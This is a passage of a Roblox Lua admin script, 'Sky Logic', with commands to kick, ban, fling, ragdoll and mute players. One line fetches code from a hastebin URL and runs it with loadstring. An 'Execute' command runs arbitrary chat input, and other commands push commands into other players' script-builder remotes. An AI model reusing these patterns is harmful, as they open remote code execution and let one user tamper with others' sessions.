  715. Tab(Player,"Current Vol: "..S.Volume)
  716. Tab(Player,"Current Pitch: "..S.Pitch)
  717. if S.Looped == true then
  718. Tab(Player,"Looped: true")
  719. else
  720. Tab(Player,"Looped: false")
  721. end
  722. Tab(Player,"Edit",BrickColor.new("Lime green"),nil,function()
  723. function Stngs ()
  724. Dismiss(Player)
  725. Tab(Player,"Pitch + .1",nil,nil,function()
  726. S.Pitch = S.Pitch + 0.1
  727. Tab(Player,"Pitch is now: "..S.Pitch)
  728. end,true)
  729. Tab(Player,"Volume + .1",nil,nil,function()
  730. S.Volume = S.Volume + 0.1
  731. Tab(Player,"Volume is now: "..S.Volume)
  732. end,true)
  733. Tab(Player,"Pitch - .1",nil,nil,function()
  734. S.Pitch = S.Pitch - 0.1
  735. Tab(Player,"Pitch is now: "..S.Pitch)
  736. end,true)
  737. Tab(Player,"Volume - .1",nil,nil,function()
  738. S.Volume = S.Volume - 0.1
  739. Tab(Player,"Volume is now: "..S.Volume)
  740. end,true)
  741. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function()
  742. ShowMusicSettings()
  743. end)
  744. if S.Looped == false then
  745. Tab(Player,"Loop",nil,nil,function()
  746. Dismiss(Player)
  747. S.Looped = true
  748. Stngs()
  749. end)
  750. elseif S.Looped == true then
  751. Tab(Player,"Un-Loop",nil,nil,function()
  752. Dismiss(Player)
  753. S.Looped = false
  754. Stngs()
  755. end)
  756. end
  757. end
  758. Stngs()
  759. end)
  760. else
  761. Tab(Player,"ERROR: Music Not Found!",BrickColor.new("Crimson"))
  762. end
  763. end
  764. ShowMusicSettings()
  765. else
  766. Tab(Player,"ERROR: Music Not Found!",BrickColor.new("Crimson"))
  767. end
  768. end)
  769. AddCommand("Kick","kick",2.3,"Kicks a player for a reason",function(Player,msg)
  770. local Players = GetPlayer(Player,msg,true)
  771. local Reason = string.find(msg, Suffix)
  772. Reason = string.sub(msg,Reason + 1)
  773. for i,Plr in pairs(Players) do
  774. if Admins[Player.Name].Rank > Admins[Plr.Name].Rank or Plr.Name == Player.Name then
  775. Plr:Kick(Reason)
  776. if Admins[Player.Name].Rank < 2.55 then
  777. for i,Plrr in pairs(game:GetService("Players"):GetPlayers()) do
  778. Tab(Plrr,Player.Name.." has kicked: '"..Plr.Name.."' for: '"..Reason.."'.")
  779. end
  780. end
  781. else
  782. Tab(Plr,Player.Name.." tried to kick you!")
  783. end
  784. end
  785. end)
  786. AddCommand("Hint","hint",2.2,"Creates a hint gui",function(Player,msg)
  787. local Players = GetPlayer(Player,msg,true)
  788. local Reason = string.find(msg, Suffix)
  789. Reason = string.sub(msg,Reason + 1)
  790. for i,Plr in pairs(Players) do
  791. Hint(Plr,Reason)
  792. end
  793. end)
  794. function Hint(Player,Message)
  795. if Player:findFirstChild("PlayerGui") then
  796. if Player.PlayerGui:findFirstChild("Sky Message") then
  797. Player.PlayerGui["Sky Message"]:Destroy()
  798. end
  799. local G = Instance.new("ScreenGui",Player.PlayerGui)
  800. G.Name = "Sky Message"
  801. local T = Instance.new("TextLabel",G)
  802. T.BackgroundTransparency = 0.2
  803. T.BackgroundColor3 = Color3.new(0,0,0)
  804. T.Size = UDim2.new(0,1,0,1)
  805. T.Text = Message
  806. T.TextColor3 = Color3.new(255,255,255)
  807. T.FontSize = "Size24"
  808. T.Font = "SourceSans"
  809. T.BorderSizePixel = 0
  810. T.TextScaled = true
  811. T.Position = UDim2.new(0.5,0,0,0)
  812. T:TweenSize(UDim2.new(1,0,0,45), "Out", "Quad", 2)
  813. T:TweenPosition(UDim2.new(0,0,0,0), "Out", "Quad", 2)
  814. game:GetService("Debris"):AddItem(G,8.5)
  815. end
  816. end
  817. AddCommand("Message","msg",2.2,"Creates a message gui",function(Player,msg)
  818. local Players = GetPlayer(Player,msg,true)
  819. local Reason = string.find(msg, Suffix)
  820. Reason = string.sub(msg,Reason + 1)
  821. for i,Plr in pairs(Players) do
  822. Message(Plr,Reason)
  823. end
  824. end)
  825. function Message(Player,Message)
  826. if Player:findFirstChild("PlayerGui") then
  827. if Player.PlayerGui:findFirstChild("Sky Message") then
  828. Player.PlayerGui["Sky Message"]:Destroy()
  829. end
  830. local G = Instance.new("ScreenGui",Player.PlayerGui)
  831. G.Name = "Sky Message"
  832. local T = Instance.new("TextLabel",G)
  833. T.BackgroundTransparency = 0.2
  834. T.BackgroundColor3 = Color3.new(0,0,0)
  835. T.Size = UDim2.new(0,1,0,1)
  836. T.Text = Message
  837. T.TextColor3 = Color3.new(255,255,255)
  838. T.FontSize = "Size24"
  839. T.Font = "SourceSans"
  840. T.BorderSizePixel = 0
  841. T.TextScaled = true
  842. T.Position = UDim2.new(0.5,0,0.5,0)
  843. T:TweenSize(UDim2.new(1,0,1,0), "Out", "Quad", 2)
  844. T:TweenPosition(UDim2.new(0,0,0,0), "Out", "Quad", 2)
  845. game:GetService("Debris"):AddItem(G,8.5)
  846. end
  847. end
  848. function CommandBar(Player)
  849. if Player.PlayerGui:findFirstChild("Sky Cmd-Bar") == nil then
  850. local G = Instance.new("ScreenGui",Player.PlayerGui)
  851. G.Name = "Sky Cmd-Bar"
  852. local TB = Instance.new("TextBox",G)
  853. TB.BackgroundTransparency = 0.2
  854. TB.BackgroundColor3 = Color3.new(0,0,0)
  855. TB.Size = UDim2.new(0,350,0,50)
  856. TB.Text = "Sky Logic Cmdbar"
  857. TB.TextColor3 = Color3.new(255,255,255)
  858. TB.FontSize = "Size24"
  859. TB.Font = "SourceSans"
  860. TB.BorderSizePixel = 0
  861. TB.TextScaled = true
  862. TB.Position = UDim2.new(-0.5,0,0,0)
  863. local B = Instance.new("TextButton",G)
  864. B.BackgroundTransparency = 0
  865. B.BackgroundColor3 = Color3.new(0,0,0)
  866. B.Size = UDim2.new(0,75,0,50)
  867. B.Text = "Enter"
  868. B.TextColor3 = Color3.new(255,255,255)
  869. B.FontSize = "Size24"
  870. B.Font = "SourceSans"
  871. B.BorderSizePixel = 0
  872. B.TextScaled = true
  873. B.Position = UDim2.new(-0.5,75,0,0)
  874. local C = Instance.new("TextButton",G)
  875. C.BackgroundTransparency = 0.2
  876. C.BackgroundColor3 = Color3.new(0,0,0)
  877. C.Size = UDim2.new(0,75,0,15)
  878. C.Text = "Exit"
  879. C.TextColor3 = Color3.new(255,255,255)
  880. C.FontSize = "Size24"
  881. C.Font = "SourceSans"
  882. C.BorderSizePixel = 0
  883. C.TextScaled = true
  884. C.Position = UDim2.new(-0.5,75,0,0)
  885. TB:TweenPosition(UDim2.new(0.5,-175,0,0), "Out", "Quad", 3)
  886. B:TweenPosition(UDim2.new(0.5,-250,0,0), "Out", "Quad", 3)
  887. C:TweenPosition(UDim2.new(0.5,-250,0,45), "Out", "Quad", 3)
  888. C.MouseButton1Click:connect(function()
  889. G:remove()
  890. end)
  891. B.MouseButton1Click:connect(function()
  892. local msg = TB.Text
  893. TB.Text = "Sky Logic Cmdbar"
  894. for i,Cmd in pairs(Commands) do
  895. local Len = string.len(Cmd.Usage) + Suffixlen
  896. local Mlen = string.sub(msg,1,Len)
  897. Mlen = string.lower(Mlen)
  898. if string.sub(Mlen,1,Len) == Cmd.Usage..Suffix then
  899. msg = string.sub(msg,Len + 1)
  900. if Cmd.Rank <= Admins[Player.Name].Rank then
  901. Cmd.Function(Player,msg)
  902. else
  903. Tab(Player,"ERROR: You are not the correct rank!")
  904. end
  905. end
  906. end
  907. end)
  908. end
  909. end
  910. AddCommand("Command Bar","cmdbar",2.3,"Opens up a command bar!",function(Player,msg)
  911. CommandBar(Player)
  912. end)
  913. AddCommand("Update Log","updates",1,"Shows the update logs",function(Player)
  914. Dismiss(Player)
  915. Tab(Player,"[LATEST]: Output blocking + Fling + Ragdoll")
  916. end)
  917. AddCommand("Ban","ban",2.3,"Bans a player for a reason",function(Player,msg)
  918. local Players = GetPlayer(Player,msg,true)
  919. local Reason = string.find(msg, Suffix)
  920. Reason = string.sub(msg,Reason + 1)
  921. for i,Plr in pairs(Players) do
  922. if Admins[Plr.Name].Rank <= 1 then
  923. Admins[Plr.Name].Rank = 0
  924. Plr:Kick(Reason)
  925. if Admins[Player.Name].Rank < 666 then
  926. for i,Plrr in pairs(game:GetService("Players"):GetPlayers()) do
  927. Tab(Plrr,Player.Name.." has banned: '"..Plr.Name.."' for: '"..Reason.."'.")
  928. end
  929. end
  930. else
  931. Tab(Plr,Player.Name.." tried to ban you!")
  932. end
  933. end
  934. end)
  935. if game.PlaceId == 20279777 then
  936. AddCommand("Mute","mute",2.5,"Mutes a player!",function(Player,msg)
  937. local Players = GetPlayer(Player,msg)
  938. for i,Plr in pairs(Players) do
  939. if Admins[Player.Name].Rank > Admins[Plr.Name].Rank then
  940. if Plr.Name ~= Player.Name then
  941. SBExe(Plr,"l/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,false)")
  942. Tab(Player,"Muted: '"..Plr.Name.."'")
  943. else
  944. Tab(Player,"ERROR: You cannot mute yourself!",BrickColor.new("Crimson"))
  945. end
  946. else
  947. Tab(Plr,Player.Name.." tried to mute you!")
  948. end
  949. end
  950. end)
  951. end
  952. AddCommand("Execute","exe",2.1,"Executes a script",function(Player,msg)
  953. local m = string.lower(msg)
  954. if msg and string.find(m,"admins") == nil then
  955. local execute = loadstring(msg)
  956. local Run,Error = ypcall(function()
  957. execute()
  958. end)
  959. if Error then
  960. Tab(Player,"ERROR: "..tostring(Error),BrickColor.new("Crimson"))
  961. end
  962. else
  963. Tab(Player,"ERROR: The word 'admins' is disallowed!",BrickColor.new("Crimson"))
  964. end
  965. end)
  966. if game.PlaceId == 20279777 then
  967. AddCommand("Un-mute","unmute",2.5,"Un-mutes a player!",function(Player,msg)
  968. local Players = GetPlayer(Player,msg)
  969. for i,Plr in pairs(Players) do
  970. SBExe(Plr,"l/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,true)")
  971. Tab(Player,"Un-muted: '"..Plr.Name.."'")
  972. end
  973. end)
  974. end
  975. if game.PlaceId == 20279777 then
  976. AddCommand("Output block","ob",2.6,"Blocks someone's output",function(Player,msg)
  977. function SBExe(plr,cmd)
  978. ypcall(function()
  979. if not type(cmd)=='string'then return end
  980. if plr then
  981. if type(plr)=='userdata'then
  982. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  983. elseif type(plr)=='string'then
  984. plr = game:GetService('Players'):FindFirstChild(plr)
  985. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  986. end
  987. else
  988. for i,v in pairs(game:GetService('Players'):children())do
  989. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  990. end
  991. end
  992. end)
  993. end
  994. local Players = GetPlayer(Player,msg)
  995. for i,Plr in pairs(Players) do
  996. if Plr then
  997. if Admins[Player.Name].Rank > Admins[Plr.Name].Rank or Plr.Name == Player.Name then
  998. if Admins[Plr.Name].OutputBlocked == false then
  999. Admins[Plr.Name].OutputBlocked = true
  1000. SBExe(Plr,"hl/"..NoOutput)
  1001. Tab(Player,"You have blocked the output of: "..Plr.Name)
  1002. end
  1003. else
  1004. Tab(Plr,Player.Name.." has tried to block your output")
  1005. end
  1006. end
  1007. end
  1008. end)
  1009. AddCommand("Un-output block","unob",2.25,"Un-blocks someone's output",function(Player,msg)
  1010. function SBExe(plr,cmd)
  1011. ypcall(function()
  1012. if not type(cmd)=='string'then return end
  1013. if plr then
  1014. if type(plr)=='userdata'then
  1015. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  1016. elseif type(plr)=='string'then
  1017. plr = game:GetService('Players'):FindFirstChild(plr)
  1018. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  1019. end
  1020. else
  1021. for i,v in pairs(game:GetService('Players'):children())do
  1022. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  1023. end
  1024. end
  1025. end)
  1026. end
  1027. local Players = GetPlayer(Player,msg)
  1028. for i,Plr in pairs(Players) do
  1029. if Plr then
  1030. if Admins[Plr.Name].OutputBlocked == true then
  1031. Admins[Plr.Name].OutputBlocked = false
  1032. SBExe(Plr,"g/ng")
  1033. end
  1034. end
  1035. end
  1036. end)
  1037. end
  1038. AddCommand("Fling","fling",2.3,"Fling's a player (git rekt)",function(Player,msg)
  1039. local Players = GetPlayer(Player,msg)
  1040. for i,Plr in pairs(Players) do
  1041. for i=1,30 do
  1042. if Plr.Character and Plr.Character:findFirstChild("Humanoid") then
  1043. local H = Plr.Character.Humanoid
  1044. H.Sit = true
  1045. H.PlatformStand = true
  1046. if Plr.Character:findFirstChild("Torso") then
  1047. Plr.Character.Torso.CFrame = CFrame.new(Plr.Character.Torso.CFrame.X + math.random(20,50),Plr.Character.Torso.CFrame.Y + math.random(20,50), Plr.Character.Torso.CFrame.Z + math.random(20,50))
  1048. end
  1049. end
  1050. pcall(function() --Cuz why not
  1051. wait(0.1)
  1052. end)
  1053. end
  1054. Tab(Player,"You have flinged: "..Plr.Name)
  1055. end
  1056. end)
  1057. AddCommand("Ragdoll","ragdoll",2.4,"Makes a player have no humanoid",function(Player,msg)
  1058. local Players = GetPlayer(Player,msg)
  1059. for i,Plr in pairs(Players) do
  1060. if Plr.Character then
  1061. for i,Thing in pairs(Plr.Character:GetChildren()) do
  1062. if Thing:IsA("Humanoid") then
  1063. Thing:remove()
  1064. end
  1065. end
  1066. end
  1067. end
  1068. end)
  1069. AddCommand("Un-ragdoll","ragdoll",2,"Gives a player a humanoid",function(Player,msg)
  1070. local Players = GetPlayer(Player,msg)
  1071. for i,Plr in pairs(Players) do
  1072. if Plr.Character then
  1073. local V = 0
  1074. for i,Thing in pairs(Plr.Character:GetChildren()) do
  1075. if Thing:IsA("Humanoid") then
  1076. V = 1
  1077. end
  1078. end
  1079. if V == 0 then
  1080. Instance.new("Humanoid",Plr.Character)
  1081. else
  1082. Tab(Player,"Found a humanoid in "..Plr.Name.."'s Character already")
  1083. end
  1084. end
  1085. end
  1086. end)
  1087. AddCommand("Player info","pinfo",2,"Shows a player's information",function(Player,msg)
  1088. local Players = GetPlayer(Player,msg)
  1089. for i,Plr in pairs(Players) do
  1090. function ViewInfo()
  1091. Dismiss(Player)
  1092. Tab(Player,Plr.Name)
  1093. Tab(Player,Plr.Name.."'s Account age is: "..Plr.AccountAge)
  1094. Tab(Player,Plr.Name.."'s Player Id is: "..Plr.UserId)
  1095. Tab(Player,Plr.Name.."'s Follow user Id is: "..Plr.FollowUserId)
  1096. Tab(Player,"View "..Plr.Name.."'s Chat Logs",BrickColor.new("White"),nil,function()
  1097. Dismiss(Player)
  1098. for i,Chat in pairs(Admins[Plr.Name].Chatted) do
  1099. Tab(Player,Plr.Name.." Has chatted: "..Chat)
  1100. end
  1101. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function() ViewInfo() end)
  1102. end)
  1103. end
  1104. ViewInfo()
  1105. end
  1106. end)
  1107. --------------------------------------
  1108. function ShowCommands(Player)
  1109. function Show()
  1110. Dismiss(Player)
  1111. local Page1 = {}--1-1.9
  1112. local Page2 = {}--2-2.9
  1113. local Page3 = {}--3
  1114. local Page4 = {}--Can I Use
  1115. for i,Cmd in pairs(Commands) do
  1116. if Cmd.Rank <= Admins[Player.Name].Rank then
  1117. table.insert(Page4,Cmd)
  1118. end
  1119. if Cmd.Rank < 1.9 or Cmd.Rank == 1.9 then
  1120. table.insert(Page1,Cmd)
  1121. end
  1122. if Cmd.Rank < 2.9 or Cmd.Rank == 2.9 then
  1123. table.insert(Page2,Cmd)
  1124. end
  1125. if Cmd.Rank < 3 or Cmd.Rank == 3 then
  1126. table.insert(Page3,Cmd)
  1127. end
  1128. end
  1129. Tab(Player,"You are Rank: "..Admins[Player.Name].Rank,BrickColor.new("Lime green"))
  1130. Tab(Player,"Rank 1 - 1.9",nil,nil,function()
  1131. function Show1()
  1132. Dismiss(Player)
  1133. for i,Cmd in pairs(Page1) do
  1134. Tab(Player,Cmd.What,nil,nil,function()
  1135. Dismiss(Player)
  1136. Tab(Player,Cmd.What)
  1137. Tab(Player,"Usage: "..Cmd.Usage)
  1138. Tab(Player,"Needed rank: "..Cmd.Rank.."+")
  1139. Tab(Player,"Description: "..Cmd.Desc)
  1140. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function()
  1141. Dismiss(Player)
  1142. Show1()
  1143. end)
  1144. end)
  1145. end
  1146. end
  1147. Show1()
  1148. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function() Show() end)
  1149. end)
  1150. Tab(Player,"Rank 2 - 2.9",nil,nil,function()
  1151. function Show2()
  1152. Dismiss(Player)
  1153. for i,Cmd in pairs(Page2) do
  1154. Tab(Player,Cmd.What,nil,nil,function()
  1155. Dismiss(Player)
  1156. Tab(Player,Cmd.What)
  1157. Tab(Player,"Usage: "..Cmd.Usage)
  1158. Tab(Player,"Needed rank: "..Cmd.Rank.."+")
  1159. Tab(Player,"Description: "..Cmd.Desc)
  1160. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function()
  1161. Dismiss(Player)
  1162. Show2()
  1163. end)
  1164. end)
  1165. end
  1166. end
  1167. Show2()
  1168. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function() Show() end)
  1169. end)
  1170. Tab(Player,"Rank 3",nil,nil,function()
  1171. function Show3()
  1172. Dismiss(Player)
  1173. for i,Cmd in pairs(Page3) do
  1174. Tab(Player,Cmd.What,nil,nil,function()
  1175. Dismiss(Player)
  1176. Tab(Player,Cmd.What)
  1177. Tab(Player,"Usage: "..Cmd.Usage)
  1178. Tab(Player,"Needed rank: "..Cmd.Rank.."+")
  1179. Tab(Player,"Description: "..Cmd.Desc)
  1180. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function()
  1181. Dismiss(Player)
  1182. Show3()
  1183. end)
  1184. end)
  1185. end
  1186. end
  1187. Show3()
  1188. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function() Show() end)
  1189. end)
  1190. Tab(Player,"Commands i can use?",nil,nil,function()
  1191. function Show4()
  1192. Dismiss(Player)
  1193. for i,Cmd in pairs(Page4) do
  1194. Tab(Player,Cmd.What,nil,nil,function()
  1195. Dismiss(Player)
  1196. Tab(Player,Cmd.What)
  1197. Tab(Player,"Usage: "..Cmd.Usage)
  1198. Tab(Player,"Needed rank: "..Cmd.Rank.."+")
  1199. Tab(Player,"Description: "..Cmd.Desc)
  1200. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function()
  1201. Dismiss(Player)
  1202. Show4()
  1203. end)
  1204. end)
  1205. end
  1206. end
  1207. Show4()
  1208. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function() Show() end)
  1209. end)
  1210. Tab(Player,"All Commands",nil,nil,function()
  1211. function Show5()
  1212. Dismiss(Player)
  1213. for i,Cmd in pairs(Commands) do
  1214. Tab(Player,Cmd.What,nil,nil,function()
  1215. Dismiss(Player)
  1216. Tab(Player,Cmd.What)
  1217. Tab(Player,"Usage: "..Cmd.Usage)
  1218. Tab(Player,"Needed rank: "..Cmd.Rank.."+")
  1219. Tab(Player,"Description: "..Cmd.Desc)
  1220. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function()
  1221. Dismiss(Player)
  1222. Show5()
  1223. end)
  1224. end)
  1225. end
  1226. end
  1227. Show5()
  1228. Tab(Player,"Back",BrickColor.new("Crimson"),nil,function() Show() end)
  1229. end)
  1230. end
  1231. Show()
  1232. end
  1233. function GetPlayer(Player,msg,Reason)
  1234. local FoundPlayers = {}
  1235. local find
  1236. if Reason == true then
  1237. ypcall(function()
  1238. find = string.find(msg,Suffix)
  1239. msg = string.sub(msg,1,find-1)
  1240. end)
  1241. end
  1242. if msg == "all" or msg == "everyone" then
  1243. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1244. table.insert(FoundPlayers,Plr)
  1245. end
  1246. elseif msg == "me" or msg == "meh" or msg == "" or msg == " " then
  1247. table.insert(FoundPlayers,Player)
  1248. elseif msg == "noobs" or msg == "nubs" then
  1249. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1250. if Plr.AccountAge < 364 and Plr.Name ~= "PointCoded" then
  1251. table.insert(FoundPlayers,Plr)
  1252. end
  1253. end
  1254. elseif msg == "veterans" or msg == "elders" then
  1255. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1256. if Plr.AccountAge >= 364 then
  1257. table.insert(FoundPlayers,Plr)
  1258. end
  1259. end
  1260. elseif msg == "admins" or msg == "administrators" then
  1261. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1262. if Admins[Plr.Name] and Admins[Plr.Name].Rank > 1 then
  1263. table.insert(FoundPlayers,Plr)
  1264. end
  1265. end
  1266. elseif msg == "nonadmins" or msg == "notadmined" then
  1267. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1268. if Admins[Plr.Name] and Admins[Plr.Name].Rank <= 1 then
  1269. table.insert(FoundPlayers,Plr)
  1270. end
  1271. end
  1272. elseif msg == "others" then
  1273. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1274. if Plr.Name ~= Player.Name then
  1275. table.insert(FoundPlayers,Plr)
  1276. end
  1277. end
  1278. else
  1279. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1280. local N = string.lower(Plr.Name)
  1281. msg = string.lower(msg)
  1282. if string.match(N,msg) then
  1283. table.insert(FoundPlayers,Plr)
  1284. end
  1285. end
  1286. end
  1287. return FoundPlayers
  1288. end
  1289. function Connect(Player)
  1290. Player.Chatted:connect(function(msg)
  1291. if Admins[Player.Name] then
  1292. ypcall(function()
  1293. local V = 0
  1294. for i,Chat in pairs(Admins[Player.Name].Chatted) do
  1295. V = V+1
  1296. end
  1297. if V >= 30 then
  1298. for i,Chat in pairs(Admins[Player.Name].Chatted) do
  1299. table.remove(Admins[Player.Name].Chatted,i)
  1300. end
  1301. end
  1302. table.insert(Admins[Player.Name].Chatted,msg)
  1303. end)
  1304. end
  1305. if Admins[Player.Name] then
  1306. for i,Cmd in pairs(Commands) do
  1307. local Len = string.len(Cmd.Usage) + Suffixlen
  1308. local Mlen = string.sub(msg,1,Len)
  1309. Mlen = string.lower(Mlen)
  1310. if string.sub(Mlen,1,Len) == Cmd.Usage..Suffix then
  1311. msg = string.sub(msg,Len + 1)
  1312. if Cmd.Rank <= Admins[Player.Name].Rank then
  1313. Cmd.Function(Player,msg)
  1314. else
  1315. Tab(Player,"ERROR: You are not the correct rank!")
  1316. end
  1317. end
  1318. end
  1319. end
  1320. end)
  1321. end
  1322. function Tab(Player,Text,ColorOverride,OnTouch,OnClick,CantGo)
  1323. local P = Instance.new("Part",workspace.Terrain)
  1324. P.Name = "Tab: "..Text..": "..tostring(math.random(-99999,99999))
  1325. if ColorOverride ~= nil then
  1326. P.BrickColor = ColorOverride
  1327. else
  1328. P.BrickColor = Admins[Player.Name].Color
  1329. end
  1330. if CantGo == nil then
  1331. CantGo = false
  1332. end
  1333. P.Size = Vector3.new(2.3,2.3,2.3)
  1334. P.Reflectance = 0.1
  1335. P.Transparency = 0.25
  1336. P.Material = "Neon"
  1337. P.CanCollide = false
  1338. P.Anchored = true
  1339. local A = Instance.new("Part",P)
  1340. A.Size = Vector3.new(1.7,1.7,1.7)
  1341. A.BrickColor = BrickColor.new("Really black")
  1342. A.Material = "Neon"
  1343. A.Reflectance = 0.1
  1344. A.CanCollide = false
  1345. A.Anchored = true
  1346. A.Transparency = 0
  1347. local S = Instance.new("SelectionBox",A)
  1348. S.Adornee = A
  1349. S.Color3 = BrickColor.new("Really black").Color
  1350. S.LineThickness = 0.05
  1351. S.SurfaceTransparency = 1
  1352. S.SurfaceColor = BrickColor.new("Black")
  1353. local T = Instance.new("BillboardGui",P)
  1354. T.Adornee = P
  1355. T.Size = UDim2.new(5,0,6,0)
  1356. T.AlwaysOnTop = true
  1357. local TL = Instance.new("TextLabel",T)
  1358. TL.Text = Text
  1359. TL.TextColor = Admins[Player.Name].Color
  1360. TL.TextStrokeTransparency = 0
  1361. TL.Size = UDim2.new(1,0,1,0)
  1362. TL.TextStrokeColor3 = Color3.new(255,255,255)
  1363. TL.Font = "SourceSansBold"
  1364. TL.Position = UDim2.new(0,0,0,-60)
  1365. TL.FontSize = "Size28"
  1366. TL.BackgroundTransparency = 1
  1367. ypcall(function()
  1368. P.CFrame = Player.Character.Torso.CFrame
  1369. A.CFrame = P.CFrame
  1370. end)
  1371. table.insert(Admins[Player.Name].Tablets,P)
  1372. local function DestroyMe()
  1373. P:remove()
  1374. for i,v in pairs(Admins[Player.Name].Tablets) do
  1375. if v.Name == P.Name then
  1376. table.remove(Admins[Player.Name].Tablets,i)
  1377. end
  1378. end
  1379. end
  1380. local Click = Instance.new("ClickDetector",P)
  1381. Click.MaxActivationDistance = math.huge
  1382. Click.MouseHoverEnter:connect(function(Plr)
  1383. if Plr.Name == Player.Name or Admins[Plr.Name].Rank > Admins[Player.Name].Rank then
  1384. P.Transparency = 0.35
  1385. end
  1386. end)
  1387. Click.MouseHoverLeave:connect(function(Plr)
  1388. if Plr.Name == Player.Name or Admins[Plr.Name].Rank > Admins[Player.Name].Rank then
  1389. P.Transparency = 0.25
  1390. end
  1391. end)
  1392. Click.MouseClick:connect(function(Plr)
  1393. if Plr.Name == Player.Name or Admins[Plr.Name].Rank > Admins[Player.Name].Rank then
  1394. if OnClick ~= nil then
  1395. if CantGo == false then
  1396. DestroyMe()
  1397. end
  1398. local Check,Error = ypcall(function()
  1399. OnClick()
  1400. end)
  1401. if Error then
  1402. Tab(Player,tostring(Error))
  1403. end
  1404. end
  1405. if OnClick == nil and CantGo == false then
  1406. DestroyMe()
  1407. end
  1408. end
  1409. end)
  1410. P.Touched:connect(function(hit)
  1411. if OnTouch ~= nil then
  1412. local Check,Error = ypcall(function()
  1413. OnTouch(hit)
  1414. end)
  1415. if Error then
  1416. Tab(Player,tostring(Error))
  1417. end
  1418. end
  1419. end)
  1420. end
  1421. function StartRotation(Player)
  1422. local Rotation = 5
  1423. local RotationAddValue = 0.0005
  1424. table.insert(Rotated,Player.Name)
  1425. game:GetService("RunService").Stepped:connect(function()
  1426. ypcall(function()
  1427. Rotation = Rotation + RotationAddValue
  1428. local AllTabs = {}
  1429. for _,tab in pairs(Admins[Player.Name].Tablets) do
  1430. table.insert(AllTabs, tab)
  1431. end
  1432. for i = 1, #AllTabs do
  1433. if Player.Character:FindFirstChild("Torso") then
  1434. local Position = Player.Character.Torso.Position
  1435. local Radius = (#AllTabs * 0.45) + 10
  1436. local M = (i / #AllTabs - (0.18 / #AllTabs) * Rotation * 3) * math.pi * (4/2)
  1437. local X = math.sin(M) * Radius
  1438. local Y = math.sin(Position.y)
  1439. local Z = math.cos(M) * Radius
  1440. local A = Vector3.new(X, Y, Z) + Position
  1441. local B = AllTabs[i].CFrame.p
  1442. local C = A * 0.1 + B * 0.9
  1443. local Cube_Rotation = math.sin(time())
  1444. local D = CFrame.Angles(Cube_Rotation, Cube_Rotation, Cube_Rotation)
  1445. AllTabs[i].CFrame = CFrame.new(C, Position) * D
  1446. if AllTabs[i]:findFirstChild("Part") then
  1447. AllTabs[i].Part.CFrame = CFrame.new(C, Position) * D
  1448. end
  1449. end
  1450. end
  1451. end)
  1452. end)
  1453. end
  1454. function Dismiss(Player)
  1455. for _=1,100 do
  1456. pcall(function()
  1457. for i,v in pairs(Admins[Player.Name].Tablets) do
  1458. v:Destroy()
  1459. pcall(function() Admins[Player.Name].Tablets[i] = nil end)
  1460. end
  1461. end)
  1462. end
  1463. end
  1464. local Loader = [[
  1465. loadstring(game:GetService('HttpService'):GetAsync('http://hastebin.com/raw/eroratipev'))()
  1466. ]]
  1467. function QLoader(Player)
  1468. --if game.PlaceId == 20279777 then
  1469. -- Tab(Player,"Would You Like The Loader?",nil,nil,function()
  1470. -- Dismiss(Player)
  1471. -- SBExe(Player,"remove/SkyLogic")
  1472. -- SBExe(Player,"create/SkyLogic")
  1473. -- SBExe(Player,"edit/SkyLogic")
  1474. -- SBExe(Player,Loader)
  1475. -- SBExe(Player,"exit/")
  1476. -- SBExe(Player,"save/SkyLogic")
  1477. -- end)
  1478. --end
  1479. end
  1480.  
  1481. for i,Player in pairs(game:GetService("Players"):GetPlayers()) do
  1482. if not Admins[Player.Name] then
  1483. Admins[Player.Name] = {Color=BrickColor.new("Dark stone grey"),Rank=1,Reason="Unranked",Tablets={},Chat=false,Chatted={},OutputBlocked = false};
  1484. end
  1485. if Rotated[Player.Name] == nil then
  1486. StartRotation(Player)
  1487. end
  1488. if Admins[Player.Name].Rank < 1 then
  1489. Player:Kick("Sky Logic: "..Admins[Player.Name].Reason)
  1490. end
  1491. Tab(Player,"Sky Logic Build: "..Core.BuildVersion)
  1492. if Admins[Player.Name] and Admins[Player.Name].Rank > 1 then
  1493. Tab(Player,"You Are An Admin!")
  1494. Tab(Player,"Suffix: -")
  1495. QLoader(Player)
  1496. Tab(Player,"Dismiss",BrickColor.new("Crimson"),nil,function()
  1497. Dismiss(Player)
  1498. end)
  1499. end
  1500. if Admins[Player.Name].Rank < 1 then
  1501. Player:Kick("Sky Logic"..Admins[Player.Name].Reason)
  1502. end
  1503. Connect(Player)
  1504. end
  1505. game:GetService("Players").PlayerAdded:connect(function(Player)
  1506. wait(0.1)
  1507. if not Admins[Player.Name] then
  1508. Admins[Player.Name] = {Color=BrickColor.new("Dark stone grey"),Rank=1,Reason="Unranked",Tablets={},Chat=false,Chatted={},OutputBlocked = false};
  1509. end
  1510. if Rotated[Player.Name] == nil then
  1511. StartRotation(Player)
  1512. end
  1513. Tab(Player,"Sky Logic Build: "..Core.BuildVersion)
  1514. if Admins[Player.Name] and Admins[Player.Name].Rank > 1 then
  1515. Tab(Player,"You Are An Admin!")
  1516. Tab(Player,"Suffix: -")
  1517. QLoader(Player)
